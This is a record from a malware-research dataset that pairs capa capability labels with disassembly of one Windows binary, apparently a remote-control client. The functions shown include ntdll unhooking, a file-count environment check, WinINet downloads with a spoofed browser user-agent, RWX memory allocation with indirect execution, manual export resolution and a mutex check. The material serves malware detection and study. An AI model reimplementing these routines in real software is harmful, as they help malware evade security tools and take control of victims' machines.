joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002710
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x238], 0xfffffffffffffffe
mov ecx, 0x208
call fcn.140009fe4
mov rdi, rax
mov qword [rsp + 0x20], rax
xor esi, esi
xor ecx, ecx
mov edx, reloc.WS2_32.dll_recv
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x1400027f4
lea rsi, [rbp + 0x218]
mov rcx, rsi
mov rdx, rdi
call fcn.140002604
lea r8, [0x14023dd90]
lea rcx, [rbp + 0x1f8]
mov rdx, rsi
call fcn.140002832
lea rdi, [rbp + 0x1f8]
mov rcx, rdi
call fcn.1400026f0
lea rdx, [rbp - 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
mov rcx, rdi
call fcn.1400026f6
lea rcx, [rbp + 0x218]
call fcn.1400026f6
cmp rsi, 0xffffffffffffffff
je 0x1400027f2
mov ebx, 0xffffffff
lea rdi, [rbp - 0x58]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, rsi
mov rdx, rdi
call r14
inc ebx
test eax, eax
jne 0x1400027d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov esi, 1
cmp ebx, 9
ja 0x1400027f4
xor esi, esi
mov eax, esi
add rsp, 0x2c0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret

Function at 0x140002995
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov edi, r8d
mov esi, edx
test ecx, ecx
je 0x1400029bf
call fcn.140002710
test eax, eax
je 0x140002a0d
call fcn.140002859
test eax, eax
je 0x140002a0d
call fcn.1400024dc
test eax, eax
je 0x140002a0d
test edi, edi
je 0x1400029cc
call fcn.140002909
test eax, eax
je 0x140002a0d
test esi, esi
je 0x140002a05
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140002971]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
add rsp, 0x38
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x38
pop rdi
pop rsi
ret
mov ecx, 1
call fcn.1401b7514
int3
Function at 0x140002a18
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
mov rax, qword [0x140270700]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [0x1401e159e]
lea rbx, [rsp + 0x90]
movups xmmword [rbx + 0xe], xmm0
movaps xmm0, xmmword [str.C:WindowsSystem32_ntdll.dll]
movaps xmmword [rbx], xmm0
movabs rax, 0x6c642e6c6c64746e
lea rsi, [rsp + 0x80]
mov qword [rsi], rax
mov word [rsi + 8], WSAGetLastError
xor edi, edi
lea r14, [rsp + 0x60]
mov qword [r14 + 0x10], rdi
xorps xmm0, xmm0
movaps xmmword [r14], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r15, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x48], r15
mov rcx, r15
mov qword [rsp + 0x50], rax
mov rdx, rax
mov r8, r14
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov rbp, qword [r14]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x40], rax
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
movsxd rsi, dword [rbp + 0x3c]
movzx r12d, word [rsi + rbp + 6]
test r12w, r12w
je 0x140002bc5
lea rdi, [rsi + rbp]
add rdi, 0x18
xor ebx, ebx
lea r15, str..text
movzx r13d, word [rbp + rsi + 0x14]
add r13, rdi
mov rcx, r13
mov rdx, r15
call fcn.1401c0df0
test eax, eax
jne 0x140002bb5
mov dword [rsp + 0x5c], 0
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
mov r8d, 0x40
lea r9, [rsp + 0x5c]
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r12
mov r8d, dword [r13 + 8]
mov edx, dword [r13 + 0xc]
lea rcx, [rdx + rbp]
add rdx, r14
call fcn.1401d6550
mov r8d, dword [rsp + 0x5c]
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
xor r9d, r9d
call r12
movzx r12d, word [rbp + rsi + 6]
inc rbx
movzx eax, r12w
add rdi, 0x28
cmp rbx, rax
jb 0x140002b45
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call rsi
mov rcx, qword [rsp + 0x40]
call rsi
mov rcx, r14
call rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14000a140
nop
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002c0f
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push r14
push rsi
push rdi
push rbx
mov eax, 0x92888
call fcn.14000a0e0
sub rsp, rax
mov rbx, rdx
mov r14, rcx
mov rax, qword [0x140270700]
xor rax, rsp
mov qword [rsp + 0x92880], rax
lea rsi, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_107.0.5304.88_Safari_537.36
lea rax, [rsp + 0x92800]
mov ecx, recv
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov dword [rax + 0x70], 0x36332e
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x140002ce6
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x140002ce6
mov rsi, rax
lea rdi, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rdi
xor edx, edx
call fcn.1401d6bf0
lea r9, [rsp + 0x3c]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x927c0
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002ce6
lea rdx, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rbx
call fcn.1401d6550
mov rcx, qword [rsp + 0x92880]
xor rcx, rsp
call fcn.14000a140
nop
add rsp, 0x92888
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x14000355d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
xor r14d, r14d
test rcx, rcx
je 0x140003600
mov rdi, rdx
test rdx, rdx
je 0x140003600
mov rsi, rcx
movsxd rbx, dword [rcx + 0x3c]
mov edx, dword [rcx + rbx + 0x88]
test edx, edx
je 0x1400035fd
add rbx, rsi
mov rcx, rbx
call fcn.14000350c
mov r14d, eax
mov eax, 0xffffffff
cmp r14, rax
je 0x1400035fd
mov r15d, dword [rsi + r14 + 0x18]
test r15, r15
je 0x1400035fd
mov edx, dword [rsi + r14 + 0x20]
mov rcx, rbx
call fcn.14000350c
mov r12d, eax
mov ebp, 0xffffffff
cmp r12, rbp
je 0x1400035fd
mov edx, dword [rsi + r14 + 0x1c]
mov rcx, rbx
call fcn.14000350c
mov r13d, eax
cmp r13, rbp
je 0x1400035fd
mov edx, dword [rsi + r14 + 0x24]
mov rcx, rbx
call fcn.14000350c
mov ecx, eax
mov eax, 0xffffffff
cmp rcx, rax
jne 0x140003614
xor r14d, r14d
mov rax, r14
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add r12, rsi
add r13, rsi
add rcx, rsi
mov qword [rsp + 0x20], rcx
dec r15
xor r14d, r14d
mov ebp, r15d
mov edx, dword [r12 + rbp*4]
mov rcx, rbx
call fcn.14000350c
lea rcx, [rax + rsi]
mov rdx, rdi
call fcn.1401c0df0
test eax, eax
je 0x140003657
mov rax, r15
dec rax
test r15d, r15d
mov r15, rax
jne 0x140003628
jmp 0x140003600
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + rbp*2]
mov edx, dword [r13 + rax*4]
mov rcx, rbx
call fcn.14000350c
add rsi, rax
mov r14, rsi
jmp 0x140003600
Function at 0x140003675
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov r15, rcx
mov rax, qword [0x140270700]
xor rax, rsp
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [0x1401e159e]
lea rcx, [rsp + 0x40]
movups xmmword [rcx + 0xe], xmm0
movaps xmm0, xmmword [str.C:WindowsSystem32_ntdll.dll]
movaps xmmword [rcx], xmm0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r14d, r14d
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400037c1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r14d, r14d
mov rcx, rsi
xor edx, edx
mov r8d, 2
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test rax, rax
je 0x1400037bc
mov rdi, rax
mov qword [rsp + 0x20], 0
xor r14d, r14d
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
test rax, rax
je 0x1400037b3
mov rbx, rax
mov rcx, rax
mov rdx, r15
call fcn.14000355d
mov qword [rsp + 0x38], rax
test rax, rax
je 0x1400037a7
movsxd r12, dword [rbx + 0x3c]
mov edx, dword [rbx + r12 + 0xa0]
test edx, edx
je 0x1400037a7
add r12, rbx
mov rcx, r12
call fcn.14000350c
cmp rax, 0xffffffffffffffff
je 0x1400037a7
mov r13, rax
mov edx, dword [rbx + rax]
test edx, edx
je 0x1400037a7
add r13, rbx
mov rcx, r12
call fcn.14000350c
mov rbp, rax
add rax, rbx
cmp rax, qword [rsp + 0x38]
jne 0x1400037eb
xor r15d, r15d
jmp 0x14000381d
xor r14d, r14d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x1400037ca
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14000a140
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 1
xor r14d, r14d
mov r15d, eax
lea rax, [r15 + r15*2]
mov edx, dword [r13 + rax*4]
test edx, edx
je 0x1400037aa
mov rcx, r12
call fcn.14000350c
mov rbp, rax
lea rcx, [rax + rbx]
lea eax, [r15 + 1]
cmp rcx, qword [rsp + 0x38]
jne 0x1400037f3
lea rax, [r15 + r15*2]
mov edx, dword [r13 + rax*4 + 4]
mov rcx, r12
call fcn.14000350c
mov r12, rax
sub r12, rbp
xor r14d, r14d
xor ecx, ecx
mov rdx, r12
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x1400037aa
mov r13, rax
mov rcx, rax
mov rdx, qword [rsp + 0x38]
mov r8, r12
call fcn.1401d6550
mov r14, r13
jmp 0x1400037aa
Function at 0x140003ab6
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x138], 0xfffffffffffffffe
mov rsi, rcx
call fcn.140003872
lea rcx, [0x14027c2c0]
lea rdx, str.Hello_World_
call fcn.140003c3f
lea rdx, [0x140003ea7]
mov rcx, rax
call fcn.140003ea4
lea r8, str.C2111601_9D4C_40C213_BF2C_9DD8B9D022A8
mov edi, 1
xor ecx, ecx
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
je 0x140003b2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140003be4
movabs rax, 0xff00000008
lea rcx, [rbp + 0x128]
mov qword [rcx], rax
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov rcx, rsi
call fcn.140010cdc
xor ecx, ecx
call fcn.14000f958
test eax, eax
je 0x140003bd0
xor ecx, ecx
call fcn.1400145c4
mov ecx, 0x18
call fcn.140003edc
mov qword [rbp + 0x130], rax
mov rcx, rax
call fcn.14000ddfc
lea rcx, str.CMFCVisualManagerWindows
call fcn.140026898
lea rdx, [0x14023db4a]
mov rcx, rsi
call fcn.140023050
lea rdi, [rbp - 0x60]
mov rcx, rdi
xor edx, edx
call fcn.140008038
mov qword [rsi + 0x40], rdi
mov rcx, rdi
call fcn.140011d7c
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
mov edx, 1
call qword [rax + reloc.WS2_32.dll_htonl]
call fcn.14001fc00
lea rcx, [rbp - 0x60]
call fcn.140003ee2
jmp 0x140003be2
mov ecx, 0x67
xor edx, edx
mov r8d, 0xffffffff
call fcn.140015964
xor edi, edi
mov eax, edi
add rsp, 0x1c0
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000400c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CRemoteControlClientDlg.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x140011c37
cmp dword [rcx + 0xe8], 0
jne 0x140011c37
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.140014ee0
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140011c7b
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140011c7b
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.140012474
jmp 0x140011c7d
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400045a3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov esi, edx
mov rdi, rcx
mov eax, edx
shr eax, 4
inc eax
movzx edx, ax
mov r8d, 6
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400045dd
mov rcx, rdi
mov rdx, rax
mov r8d, esi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140004625
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x140004625
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov edi, r8d
mov rbx, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400046a2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x1400046a2
mov rsi, rax
mov rcx, r14
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
setne cl
and edi, 0xf
je 0x140004692
test eax, eax
je 0x140004692
mov ecx, eax
mov rax, rsi
add rax, rcx
dec edi
movzx ecx, word [rsi]
lea rsi, [rsi + rcx*2]
add rsi, 2
cmp rsi, rax
setb cl
add edi, 0xffffffff
jae 0x140004692
cmp rsi, rax
jb 0x140004677
test cl, cl
je 0x1400046a2
xor eax, eax
cmp word [rsi], 0
cmovne rax, rsi
jmp 0x1400046a4
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x14000841c
Capabilities:
Read .ini file

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x28], 0xfffffffffffffffe
mov rsi, rcx
lea rax, str.._InitSystem.ini
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x20
lea rcx, str.Base
lea rdx, str.ServerIPAddress
lea r8, str.0.0.0.0
lea rdi, [rbp - 0x20]
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
add rsi, 0x180
mov rcx, rsi
mov rdx, rdi
call fcn.1400044ea
mov rcx, rsi
call fcn.1400085a4
test al, al
jne 0x1400084a7
lea rdx, str.0.0.0.0
mov rcx, rsi
call fcn.1400085b7
mov ecx, eax
mov eax, 1
test cl, cl
je 0x14000851d
mov rsi, rbp
mov rcx, rsi
call fcn.14000cf38
lea rdx, [0x14023dcfe]
mov rcx, rsi
mov r8d, 0x1002
xor r9d, r9d
call fcn.14000d094
test eax, eax
je 0x140008513
movaps xmm0, xmmword [0x1401e2a80]
lea rsi, [rbp - 0x50]
movaps xmmword [rsi + 0x10], xmm0
movaps xmm0, xmmword [str._Base__r_nServerIPAddress169.254.76.130]
movaps xmmword [rsi], xmm0
movabs rax, 0x3033312e36372e
mov qword [rsi + 0x1f], rax
mov rcx, rsi
call fcn.1401c0e70
mov rcx, rbp
mov rdx, rsi
mov r8d, eax
call fcn.14000d500
mov rcx, rbp
call fcn.14000d680
mov rcx, rbp
call fcn.14000d6e4
xor eax, eax
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000d458
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rdx, [rsp + 0x34]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x30], eax
cmp eax, 0xffffffff
jne 0x14000d483
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000d48e
mov rax, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
lea rcx, [rbx + 0x18]
call fcn.140001dee
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.14003a00c
int3

Function at 0x14000d4ac
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
test r8d, r8d
jne 0x14000d4be
xor eax, eax
jmp 0x14000d4db
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x50]
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000d4e1
mov eax, dword [rsp + 0x50]
add rsp, 0x30
pop rbx
ret
lea rcx, [rbx + 0x18]
call fcn.140001dee
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.14003a00c
int3
Function at 0x14000d500
Capabilities:
Write file on windows

Disassembly:
test r8d, r8d
je 0x14000d53e
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov rdi, rcx
mov ebx, r8d
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000d53f
cmp dword [rsp + 0x50], ebx
jne 0x14000d55c
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
lea rcx, [rdi + 0x18]
call fcn.140001dee
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov rdx, rbx
call fcn.14003a00c
int3
lea rcx, [rdi + 0x18]
call fcn.140001dee
or edx, 0xffffffff
mov r8, rax
lea ecx, [rdx + 0xe]
call fcn.140039cd4
int3
Function at 0x14000e1b8
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov rdi, rdx
mov r8, rcx
test rdx, rdx
je 0x14000e258
movzx eax, word [rdx]
mov r9d, ebx
jmp 0x14000e1f4
movzx eax, ax
add rax, rdx
mov rdx, rax
inc r9d
movzx eax, word [rax]
test ax, ax
jne 0x14000e1e5
test r9d, r9d
je 0x14000e258
cmp r9d, 1
jne 0x14000e218
mov r8, r14
xor edx, edx
xor ecx, ecx
call sub.SHELL32.dll_SHGetSpecialFolderLocation
test eax, eax
js 0x14000e271
xor eax, eax
jmp 0x14000e25b
lea esi, [r9 - 1]
mov rcx, rdi
test esi, esi
je 0x14000e234
mov edx, esi
movzx eax, word [rcx]
add bx, ax
add rcx, rax
sub rdx, 1
jne 0x14000e225
movzx edx, bx
mov rcx, r8
add edx, 2
call fcn.14000dfcc
movzx r8d, bx
mov rdx, rdi
mov rcx, rax
mov qword [r14], rax
call fcn.1401d6550
mov eax, esi
jmp 0x14000e25b
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
call fcn.140015a68
int3
Function at 0x14000e958
Capabilities:
Resolve dns

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x60
lea rbp, [rsp + 0x40]
mov rax, qword [0x140270700]
xor rax, rbp
mov qword [rbp + 0x18], rax
mov r12d, r8d
mov r14, rdx
mov r15, rcx
xor ebx, ebx
mov qword [rbp], rbx
test rdx, rdx
jne 0x14000e998
mov ecx, 0x2726
jmp 0x14000eadf
xor edx, edx
lea r8d, [rdx + 0x10]
lea rcx, [rbp + 8]
call fcn.1401d6bf0
mov rcx, r14
call fcn.1401c195c
inc eax
cdqe
lea rsi, [rax + rax]
mov eax, 0x80000000
add rax, rsi
mov ecx, 0xffffffff
cmp rax, rcx
ja 0x14000eada
movsxd rdi, esi
cmp esi, 0x400
jg 0x14000ea0a
mov rcx, rdi
call fcn.14000e3a0
test al, al
je 0x14000ea0a
lea rax, [rdi + 0xf]
cmp rax, rdi
ja 0x14000e9f7
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.14000a0e0
sub rsp, rax
lea rdi, [rsp + 0x40]
jmp 0x14000ea3b
mov rax, rdi
not rax
cmp rax, 0x10
jb 0x14000eb16
lea rcx, [rdi + 0x10]
call fcn.1401c016c
test rax, rax
jne 0x14000ea2c
xor edi, edi
jmp 0x14000ea3b
and qword [rax], 0
mov rbx, rax
mov qword [rbp], rax
lea rdi, [rax + 0x10]
test rdi, rdi
je 0x14000eada
mov byte [rdi], 0
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x14000eada
mov eax, 2
mov word [rbp + 8], ax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0xc], eax
mov ecx, 0xffffffff
cmp eax, ecx
jne 0x14000eaae
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x14000e98e
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 0xc], eax
movzx ecx, r12w
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0xa], ax
mov rax, qword [r15]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 8]
mov rcx, r15
mov rax, qword [rax + 0x68]
call qword [case.0x14002f13a.0]
mov edi, eax
jmp 0x14000eae7
mov ecx, 8
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor edi, edi
jmp 0x14000eaf4
mov rcx, rbx
mov rbx, qword [rbx]
call fcn.1401bf5b0
test rbx, rbx
jne 0x14000eae9
mov eax, edi
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.14000a140
lea rsp, [rbp + 0x20]
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80070216
call fcn.14000151c
int3

Function at 0x14000f040
Capabilities:
Connect socket

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.WS2_32.dll_connect]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x1400117fc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
mov rbx, rdx
mov rbp, rcx
call fcn.140014ee0
mov r8d, 5
mov rdx, rbx
mov rdi, qword [rax + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140011866
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140011866
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call fcn.140011880
jmp 0x140011868
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140011bf8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CRemoteControlClientDlg.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x140011c37
cmp dword [rcx + 0xe8], 0
jne 0x140011c37
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.140014ee0
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140011c7b
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140011c7b
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.140012474
jmp 0x140011c7d
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret